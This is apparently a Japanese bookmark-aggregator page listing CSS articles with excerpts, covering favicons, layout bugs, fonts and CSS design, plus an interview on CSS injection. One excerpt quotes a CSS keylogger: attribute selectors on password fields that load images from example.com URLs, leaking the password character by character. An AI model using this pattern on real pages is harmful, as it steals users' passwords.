SVGファビコンのカラーをダークモード時にCSSで変更できるの知ってた？
ダークモードに対応している時に、SVGファビコンのカラーをCSSで変更するテクニックを紹介します。 当ブログはダークモードに対応していませんが、ダークモードの周りもいろいろ充実してきましたね。 画像: ツイートより 元ネタは、下記ツイートからです。 💡 Change the color of your favicon when dark mode is enabled.#codyhousenugget pic.twitter.com/Hie9Pgt9MQ — CodyHouse (@CodyWebHouse) July 7, 2020 ファビコンをSVG画像にする利点は、スクリーンの解像度を気にすることなく、1つのファイルでファビコンを提供できることです。対応ブラウザはIEを除く、すべての主要なブラウザでサポートされています。
元Webデザイナーのセキュリティエンジニアが警告する、CSSインジェクションの脅威 | セキュリティブログ | 脆弱性診断（セキュリティ診断）のGMOサイバーセキュリティ byイエラエ
※この座談会は緊急事態宣言以前に実施しました。 イエラエセキュリティの顧問を務める川口洋が、イエラエセキュリティを支える多彩なメンバーと共に、サイバーセキュリティやサイバーリスクの今を語り合う座談会シリーズ、第11回をお送りします。 川口洋氏は、株式会社川口設計 代表取締役として、情報セキュリティEXPO、Interop、各都道府県警のサイバーテロ対策協議会などで講演、安全なITネットワークの実現を目指してセキュリティ演習なども提供しています。 イエラエ顧問として、「川口洋の座談会シリーズ」を2019年に開始。サイバーセキュリティを巡る様々な話題を、社内外のゲスト達と共に論じ語ってきました（川口洋の座談会シリーズ)。 今回ゲストとして登場するのは、イエラエセキュリティのペネトレーション課に所属する馬場将次。Webデザイナーとしての経験から、Webに関するセキュリティへの鋭い視点を持つ馬場。
Vue.jsのscoped CSSは意外とバッティングする - Qiita
Scoped CSSの問題点 Vue.jsのscoped cssは気楽にコンポーネント単位のスタイル当てができますが、完璧ではありません。 場合によってスタイルのバッティングが起きてしまうことがあるのですが、思っていたよりその現象が発生したのでどんな時に起こるのかをまとめました。 バッティングするサンプルコードはこちらに置きましたので、興味がある方はご覧になってください。 https://codesandbox.io/s/63q0l71rr Vue.jsのscoped CSSの原理とバッティングの理由 詳細はドキュメントに譲りますが、簡単にいうと、コンポーネントごとにdata-v-[hash]が振られて、その属性とセットでスタイルが当たるものとなっています。これによってこの属性はコンポーネントごとに違うものが当たるため、コンポーネント単位でのスタイルが当たるということです。 scoped
CSSレスポンシブデザインをSPAで使うと破滅する - 橋本商会
レスポンシブデザインは あくまで見た目の調整、表示・非表示のコントロールなので 下手に使うと、デバイス毎にインタラクションが違うUIのstateが無茶苦茶複雑になっていく コンポーネントという概念が無かった時代の設計を、SPAに持ってくるのはおかしい 画面サイズ毎にCSSで手軽にを切り替える、というのなら良い しかし、画面サイズ毎にインタラクションが違う部品が出てくると設計が破綻する 画面サイズ毎のがごちゃ混ぜになる コードが追えなくなり、バグの温床になる では、どうするか？ 素直に画面サイズ毎、デバイス毎、あるいはインタラクション毎のReactコンポーネントを書けばいい 使いまわせる部品は、コンポーネントとして切り出して再利用する 歴史を紐解く 2011年頃、レスポンシブデザインが生まれた 当時のwebにはコンポーネントが存在しなかった 単体で複雑な状態遷移をするインタラクティブなパーツ
フォント・サイズ変更機能をCSSで
実装と実行の両面でコストの低いフォント・サイズ変更機能の実装を考えていた。:target疑似クラスを使う方法が最もコストが低いように思えた。 Demo: CSS Font Size Changer id属性を振ったdiv要素でフォント・サイズを変更したいコンテンツを括り、それにページ内アンカーでジャンプすることによって:target疑似クラスを有効化するという仕組みだ。:target属性を使った画像のズーム機能の実装と考え方としては同じだ。フラグメント識別子を消したり、ブラウザーの履歴をクリーンに保つにはJavaScriptが必要になる。 このままではページ移動が起きてしまうので、HTMLコードにはもう少し工夫が必要かもしれない。div要素で括らずに空要素として固定位置に隠して配置し、兄弟セレクターで制御するとうまくいきそうだ。 #large:target ~ main { font-si
CSSだけでキーロガーを作る（※追記あり） - R42日記
github.com よくもまあこんなこと思いついたなw 要するに、 input[type="password"][value$="a"] { background-image: url("http://example.com/a"); } input[type="password"][value$="b"] { background-image: url("http://example.com/b"); } ... とすることで、キータイプ毎に特定のHTTPリクエストを発生させて、それをサーバ側でキャプチャするわけです。極めて簡単。 これはもう既に悪用されているでしょうなあ… 追記 input[type="password"][value$="a"] { background-image: url("http://example.com/a?id=1234abcd"); } input[
宣言ブロックのCSS設計 - kojika17
日本語で「CSS設計」を検索すると、記事やつぶやきなどでセレクタの命名規則に関する話題が多いです。 CSSを設計する上で、命名規則は重要な要素でしょう。 簡単なセレクタ名だと他のスタイルと重複する可能性もあります。他のスタイルと重複しないようにセレクタの子孫数を増やしてしまうと、今度はスタイルの取り回しが悪くなります。 またデザインをコンポーネントに分ける粒度について紹介されていますが、命名規則の分け方のように紹介されているよう感じます。 論理的に構造をわけて命名していくため、覚えやすく、伝えやすさもあわさって、現在の「CSS設計 = 命名規則」のような構図ができあがったと感じています。 CSS設計は命名規則だけか 命名規則はCSS設計において、重要な要素です。 しかしCSSは命名規則させ気を付ければ良い、というものではありません。 私は、すでにあるサイトの一部のコンテンツの作成やすでに用
はてなグループの終了日を2020年1月31日(金)に決定しました - はてなの告知
はてなグループの終了日を2020年1月31日(金)に決定しました 以下のエントリの通り、今年末を目処にはてなグループを終了予定である旨をお知らせしておりました。 2019年末を目処に、はてなグループの提供を終了する予定です - はてなグループ日記 このたび、正式に終了日を決定いたしましたので、以下の通りご確認ください。 終了日: 2020年1月31日(金) エクスポート希望申請期限:2020年1月31日(金) 終了日以降は、はてなグループの閲覧および投稿は行えません。日記のエクスポートが必要な方は以下の記事にしたがって手続きをしてください。 はてなグループに投稿された日記データのエクスポートについて - はてなグループ日記 ご利用のみなさまにはご迷惑をおかけいたしますが、どうぞよろしくお願いいたします。 2020-06-25 追記 はてなグループ日記のエクスポートデータは2020年2月28
IE11のバグまとめ - Qiita
バージョンごとに進化するIEのバグ 備忘録も兼ねて記事にまとめました。 バグについての解決策と補足も併せて記載してますが、 記事に記載されていない遭遇率高めのバグやより良い解決策などがあれば、是非フィードバックをお願いします。 まとめてみた所感としては、IE6の頃から根本的な部分は変わってない気がします。 （ただし、パフォーマンスが大幅にアップしたのは認める。） IE11はWindows10の場合、2025年までサポートが続きます。 https://support.microsoft.com/ja-jp/lifecycle/search/18165 ﾅﾝﾃ／(^o^)＼＼(^o^)／／(^o^)＼＼(^o^)／／(^o^)＼ｺｯﾀｲ もうね...アボカドまるごとバナナかと。 ちなみに今年の4月でVistaがサポート終了するので、1ヶ月後にはIE9を窓から放り投げてOKです。 https:/
游ゴシックは何故Windowsでかすれて見えるのか - Ryusei’s Notes (a.k.a. M59のブログ)
この記事は2016年当時の状況を書いています。その後のバージョンアップで、Windowsでのフォントレンダリングは改善され、ガンマ補正周りのエラーはなくなっているようです。当時の状況を資料として残しておきますが、記事を参照する場合はご注意ください。 TL;DR 游ゴシック体は単に細いから薄いのではなく、ガンマ補正が2重、3重に掛かっているために、グレーが本来よりも明るくなりすぎている。ガンマ補正を逆に掛けると、正常な表示になる。 かすれた游ゴシック Windowsでは游ゴシックがかすれて見える。細字だと薄くて読みづらいから、より太いウェイトを指定しろという話もある。（Windowsで游ゴシックが汚いのは、結局誰が悪いのか？ | Cherry Pie Webなど）だが、かすれて見える原因は、ウェイトが細すぎるからではない。 例えば、本文に游ゴシックを使っているWIREDの記事（「癌」という名
:lang擬似クラスは便利 - Qiita
HTML5で言語を明示するために、lang属性というものがあります。 CSSには、lang属性をセレクタで指定する特別な擬似クラスがあり、E:lang(ja)のように書けます。 これの便利なところは、祖先要素に指定されているlang属性を、子孫の要素が暗に継承しているところです。 <!DOCTYPE html> <html lang="ja"> <head></head> <body> <div class="elm-1" lang="en"> <p>Thanks, world!</p> </div> <div class="elm-2" lang="ja"> <p>ありがとう世界！</p> </div> </body> </html>
ChromeとSafariでiframeにborder-radiusが効かない - フロントエンドエンジニアもどきの備忘録
解決策としては、外側をブロック要素で囲ってやって、それにborder-radiusとoverflow:hiddenをかけてあげ、position:relativeを指定すると角丸に切り抜くことができます。 <div> <iframe src="hogehoge" width="500" height="500"></iframe> </div> div { position:relative; overflow:hidden; border-radius: 50%; } デモ このバグ(?)はz-indexが関係しているらしくposition:staticでは切り抜けません。 逆にz-indexが効くrelativeやabsolute、fixedでも切り抜くことができるようです。 ちなみにiframe自体にborder-radiusをかけて内容を切り抜くことは現状無理そうでした。
flexboxのバグに立ち向かう（flexboxバグまとめ） - Qiita
注）本文中の「コンテナ」「アイテム」について 本文中でいう「コンテナ」「アイテム」は、flexコンテナとflexアイテムのことを指しています。 コンテナ display: flexや、wrap指定などをする 複数のアイテムを含む アイテム flex: 1 0 0%などの指定をする 1. アイテム潰れる問題（Safari） Chrome Safari 潰れてますね。 起きる条件 Safari なぜ コンテンツの最小サイズを尊重してくれない模様 どうすればいいのか flex-shrinkに0を指定 flex-basisにautoを指定（デフォ値なので、指定がなければそのままでOK） Safari10にて修正済み（つまり、SierraとiOS 10以降では対応不要） 2. align-items:center はみ出す問題 Chrome IE11 はみ出てますね。 起きる条件 IE10-11 f
これはスマート！z-indexをSassで管理する方法に感動しました
これはスマート！z-indexをSassで管理する方法に感動しました 更新日: 2019/10/18 公開日: 2015/03/05カテゴリー: CSS positionプロパティで配置した要素の重なり順を指定するz-index。値が大きいほど前面に表示されるアレです。 使うだけなら簡単なのですが、いざz-indexの指定箇所が増えてくると「どの要素より上なのか下なのか」「z-indexプロパティが散り散りになって探すのが面倒」みたいな状況に陥りますよね。 じゃあ便利なSass様に効率よくz-indexを管理してもらおうと色々調べたのですが、中々良い方法が見つかりませんでした。 それから月日が立ち、たまたま目にしたスライド「CSSで泥沼にはまらない3つのアプローチ」の中でずっと悩んでいたz-indexの管理方法が紹介されていました。 コレがなんともスマートで素晴らしい、感動しました。 z-
Back to Basics CSSの感想と自分用まとめ（とありがたきスライド） | mtdew2
CSSイベント「Back to Basics」 | Peatix : http://peatix.com/event/105960 Togetterまとめ : http://togetter.com/li/867476 2015年8月30日(日)に恵比寿ガーデンプレイスタワーで開催された、Back to Basicsに参加しました。13:00〜19:00（懇親会含）と長時間のイベントでしたが、どのセッションも興味深いものばかりで、あっというまの６時間でした。 全セッション・LTについて書いていますのでとっても長くなりましたが、復習できてよかったです。 イケないことや変なこと書いてたら即座に修正しますのでお知らせくださいませ。（@mt_dew2） 1. 基本の前の基礎知識（@ub_pnr さん）https://twitter.com/ub_pnr/status/637866768476667
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
Creating True Dotted Borders with CSS
Chrome の marquee 要素が 優秀だった話
モダン日本語フォント指定
Portfolio - Daisuke Tsuji
Connect, Protect and Build Everywhere
